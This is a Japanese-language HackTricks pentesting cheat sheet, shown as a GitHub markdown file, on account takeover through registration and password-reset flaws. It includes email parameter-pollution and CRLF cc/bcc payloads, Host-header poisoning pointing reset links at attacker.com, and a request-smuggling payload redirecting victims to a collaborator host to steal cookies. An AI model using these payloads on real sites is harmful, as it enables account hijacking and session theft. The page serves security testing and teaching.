hacktricks/pentesting-web/registration-vulnerabilities.md

226 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 登録と乗っ取りの脆弱性
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
- **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出**してください。
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかを確認する**無料**機能を提供しています。
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。
彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます:
{% embed url="https://whiteintel.io" %}
---
## 登録の乗っ取り
### 重複登録
- 既存のユーザー名を使用して生成を試みる
- メールアドレスを変更して確認する:
- 大文字
- \+1@
- メールにいくつかのドットを追加
- メール名に特殊文字(%00、%09、%20
- メールの後に黒い文字を入れる:`test@test.com a`
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
### ユーザー名の列挙
ユーザー名がアプリケーション内で既に登録されているかどうかを確認します。
### パスワードポリシー
ユーザーを作成するときにパスワードポリシーを確認します(弱いパスワードを使用できるかどうかを確認します)。\
その場合、資格情報をブルートフォースで試すことができます。
### SQLインジェクション
[**このページをチェック**](sql-injection/#insert-statement)して、登録フォームで**SQLインジェクション**を使用してアカウント乗っ取りを試みたり情報を抽出したりする方法を学びます。
### Oauth乗っ取り
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
{% endcontent-ref %}
### SAML脆弱性
{% content-ref url="saml-attacks/" %}
[saml-attacks](saml-attacks/)
{% endcontent-ref %}
### メールアドレスの変更
登録後、メールアドレスを変更して、この変更が正しく検証されるか、または任意のメールアドレスに変更できるかを確認します。
### その他のチェック
- **使い捨てメール**を使用できるかどうかを確認する
- **長い** **パスワード**>200は**DoS**につながる
- アカウント作成の**レート制限**を確認する
- username@**burp\_collab**.netを使用して**コールバック**を分析する
## **パスワードリセットの乗っ取り**
### リファラ経由のパスワードリセットトークンの漏洩 <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. メールアドレスにパスワードリセットをリクエストする
2. パスワードリセットリンクをクリックする
3. パスワードを変更しない
4. 任意の第三者ウェブサイトFacebook、Twitterをクリックする
5. Burp Suiteプロキシでリクエストをインターセプトする
6. リファラヘッダーがパスワードリセットトークンを漏洩しているかどうかを確認する。
### パスワードリセットポイズニング <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Burp Suiteでパスワードリセットリクエストをインターセプトする
2. Burp Suiteで次のヘッダーを追加または編集する`Host: attacker.com``X-Forwarded-Host: attacker.com`
3. 修正されたヘッダーを使用してリクエストを転送する\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. _hostヘッダー_に基づいたパスワードリセットURLを探す`https://attacker.com/reset-password.php?token=TOKEN`
### メールパラメータ経由のパスワードリセット <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### APIパラメーターにおけるIDOR <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. 攻撃者は自分のアカウントでログインし、**パスワード変更** 機能に移動します。
2. Burp Suiteを起動し、リクエストをインターセプトします。
3. それをリピータータブに送信し、パラメーターを編集しますユーザーID/メール\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### 弱いパスワードリセットトークン <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
パスワードリセットトークンはランダムに生成され、毎回一意である必要があります。\
トークンが期限切れかどうか、常に同じかどうかを判断してください。場合によっては、生成アルゴリズムが弱く、推測される可能性があります。次の変数がアルゴリズムに使用されるかもしれません。
* タイムスタンプ
* ユーザーID
* ユーザーのメールアドレス
* 名前と姓
* 生年月日
* 暗号化
* 数字のみ
* 小さなトークンシーケンス(\[A-Z,a-z,0-9]の文字)
* トークンの再利用
* トークンの有効期限
### パスワードリセットトークンの漏洩 <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. 特定のメールtest@mail.comを使用してAPI/UIを介してパスワードリセットリクエストをトリガーします。
2. サーバーの応答を検査し、`resetToken`を確認します。
3. 次に、次のようなURLでトークンを使用します`https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### ユーザー名の衝突を利用したパスワードリセット <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. 犠牲者のユーザー名と同一のユーザー名でシステムに登録しますが、ユーザー名の前後に空白が挿入されています。例:`"admin "`
2. 悪意のあるユーザー名でパスワードリセットをリクエストします。
3. メールに送信されたトークンを使用して、犠牲者のパスワードをリセットします。
4. 新しいパスワードで犠牲者のアカウントに接続します。
プラットフォームCTFdはこの攻撃に対して脆弱でした。\
参照:[CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### クロスサイトスクリプティングによるアカウント乗っ取り <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. アプリケーション内またはクッキーが親ドメインにスコープされている場合のサブドメイン内のXSSを見つけます`*.domain.com`
2. 現在の**セッションクッキー**を漏洩させます。
3. クッキーを使用してユーザーとして認証します。
### HTTPリクエストスマグリングによるアカウント乗っ取り <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1. **smuggler**を使用してHTTPリクエストスマグリングのタイプを検出しますCL、TE、CL.TE\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2. `POST / HTTP/1.1`を次のデータで上書きするリクエストを作成します:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` 目的は、被害者をburpcollabにリダイレクトしてクッキーを盗むことです。\
3. 最終リクエストは次のようになります。
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
### CSRFを利用したアカウント乗っ取り <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. CSRF用のペイロードを作成する、例: "パスワード変更のための自動送信付きHTMLフォーム"
2. ペイロードを送信する
### JWTを利用したアカウント乗っ取り <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
JSON Web Tokenはユーザーの認証に使用される可能性があります。
* 別のユーザーID/メールでJWTを編集する
* 弱いJWT署名をチェックする
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
{% endcontent-ref %}
## 参考文献
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗まれたマルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**を使って、ゼロからAWSハッキングをマスターしましょう</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>